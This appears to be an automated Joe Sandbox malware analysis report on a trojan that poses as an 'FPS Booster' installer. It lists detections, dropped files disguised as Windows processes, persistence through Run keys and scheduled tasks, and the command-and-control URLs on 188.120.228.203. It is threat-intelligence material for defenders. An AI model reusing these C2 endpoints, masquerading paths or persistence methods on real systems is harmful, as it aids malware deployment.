UNFOT5F1qt.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Nekark
UNFOT5F1qt.exe	100%	Avira	HEUR/AGEN.1361787
UNFOT5F1qt.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	100%	Avira	HEUR/AGEN.1309950
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Avira	HEUR/AGEN.1309950
C:\Users\Default\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1309950
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	100%	Avira	HEUR/AGEN.1309950
C:\Users\Public\Pictures\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1309950
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Avira	HEUR/AGEN.1309950
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Avira	HEUR/AGEN.1309950
C:\Windows\regedit\explorer.exe	100%	Avira	HEUR/AGEN.1309950
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	100%	Joe Sandbox ML
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Joe Sandbox ML
C:\Users\Default\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	100%	Joe Sandbox ML
C:\Users\Public\Pictures\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Joe Sandbox ML
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	100%	Joe Sandbox ML
C:\Windows\regedit\explorer.exe	100%	Joe Sandbox ML
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Users\Default\WmiPrvSE.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Users\Public\Pictures\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss20C1.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon
C:\Windows\regedit\explorer.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.SpyNoon

Source	Detection	Scanner	Label
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx	100%	Avira URL Cloud	malware
http://188.120.228.203	0%	Avira URL Cloud	safe
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t	100%	Avira URL Cloud	malware
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI	100%	Avira URL Cloud	malware
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY	100%	Avira URL Cloud	malware
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X	100%	Avira URL Cloud	malware
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/cores	0%	Avira URL Cloud	safe
https://fpsbooster.ru/api/en/booster/install?is_agree=1/NOCANCELpost	0%	Avira URL Cloud	safe
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN	100%	Avira URL Cloud	malware
https://fpsbooster.ru/api/en/booster/install?is_agree=0https://fps-booster.com/api/software/download	0%	Avira URL Cloud	safe
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ	0%	Avira URL Cloud	safe
http://188.120.228.203/MathpoolCam/ru	0%	Avira URL Cloud	safe
https://fps-booster.com/api/software/download?branch=master&bits=x64get	0%	Avira URL Cloud	safe
http://188.120.228.203/MathpoolCam/rulemessagerecord/screeX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X	true	Avira URL Cloud: malware	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sectigo.com/CPS0	FPS Booster 2.0.7.exe.2.dr	false		high
http://ocsp.sectigo.com0	FPS Booster 2.0.7.exe.2.dr	false		high
https://kb.fastpanel.direct/troubleshoot/	WerFault.exe, 00000011.00000002.1426473572.00000000028A0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002875000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.0000000002A29000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029FE000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025F4000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://188.120.228.203	WerFault.exe, 00000011.00000002.1426473572.0000000002851000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002875000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002869000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029FE000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025CA000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/	explorer.exe.5.dr	false		high
https://fpsbooster.ru/api/en/booster/install?is_agree=1/NOCANCELpost	FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/cores	explorer.exe, 0000001B.00000002.1777779055.0000000002599000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://fpsbooster.ru/api/en/booster/install?is_agree=0https://fps-booster.com/api/software/download	FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	FPS Booster 2.0.7.exe.2.dr	false		high
http://188.120.228.203/MathpoolCam/rulemessagerecord/screeX	HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1518926243.0000000000AD1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	FPS Booster 2.0.7.exe, 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmp, FPS Booster 2.0.7.exe, 00000007.00000000.1351054556.0000000000409000.00000002.00000001.01000000.00000009.sdmp, FPS Booster 2.0.7.exe.2.dr	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	FPS Booster 2.0.7.exe.2.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	savesbrokerDriverSavesbroker.exe, 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002851000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fps-booster.com/api/software/download?branch=master&bits=x64get	FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ccleaner.com/ru-ru	FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://188.120.228.203/MathpoolCam/ru	savesbrokerDriverSavesbroker.exe, 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002845000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029CD000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.0000000002868000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.0000000002438000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.0000000002599000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.120.228.203	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563543
Start date and time:	2024-11-27 04:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UNFOT5F1qt.exe renamed because original name is a hash value
Original Sample Name:	1C40D9E61FBBD5D9054638B98B10E1CF.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@22/28@0/1
EGA Information:	Successful, ratio: 44.4%
HCA Information:	Successful, ratio: 98% Number of executed functions: 346 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, PID 7672 because it is empty
Execution Graph export aborted for target HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, PID 8000 because it is empty
Execution Graph export aborted for target WerFault.exe, PID 7604 because it is empty
Execution Graph export aborted for target explorer.exe, PID 616 because it is empty
Execution Graph export aborted for target explorer.exe, PID 7664 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: UNFOT5F1qt.exe

Simulations

Behavior and APIs

Time	Type	Description
03:02:04	Task Scheduler	Run new task: explorer path: "C:\Windows\regedit\explorer.exe"
03:02:04	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
03:02:05	Task Scheduler	Run new task: HSZUYllrTVQhIRaXpKBgYbmVnCoTc path: "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
03:02:05	Task Scheduler	Run new task: RuntimeBroker path: "C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe"
03:02:05	Task Scheduler	Run new task: WerFault path: "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"
03:02:05	Task Scheduler	Run new task: WmiPrvSE path: "C:\Users\Default User\WmiPrvSE.exe"
03:02:13	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run WmiPrvSE "C:\Users\Default User\WmiPrvSE.exe"
03:02:22	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run WerFault "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"
03:02:30	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run explorer "C:\Windows\regedit\explorer.exe"
03:02:39	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe"
22:02:07	API Interceptor	7x Sleep call for process: WerFault.exe modified
22:02:16	API Interceptor	6x Sleep call for process: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe modified
22:02:42	API Interceptor	8x Sleep call for process: explorer.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	HQV-224647.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	HQV-224647.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	GasProcessingPlantReportOfReceipts.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	13.107.246.63
	Impact replications.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	HpRXI8oMC1.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://eye.sbc31.net/m2?r=wAXNB1S4NjcyYWE1OWU4YjU5ODMzOTIyMDE1MThlxBDQudCvf9DH0Ns5RGzQktCKZ2wrLUbgpHRlc3Sxc2FtcGxlQHNhbXBsZS5jb22sKzMzNjEyMzQ1Njc4kLZEV3ZCbHJ1Y1JZMlFIa1B1LVVTTS1BoA==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	RustChecker.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	188.120.239.221
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23YWhvd2FyZEBzZWN1cnVzdGVjaG5vbG9naWVzLmNvbQ==	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23cnlhbi5lZHdhcmRzQGF2ZW50aXYuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23bWJsYW5kQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	exe009.exe	Get hash	malicious	Emotet	Browse	37.46.129.215
	https://sourcetrap.net	Get hash	malicious	Unknown	Browse	82.202.163.23
	13LNMT6zmg.exe	Get hash	malicious	DCRat	Browse	80.87.201.118
	iwir64.elf	Get hash	malicious	Mirai	Browse	62.109.30.161
	2VaAObAYLP.exe	Get hash	malicious	DCRat	Browse	185.43.5.93
	sh4.elf	Get hash	malicious	Mirai	Browse	212.109.220.3

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
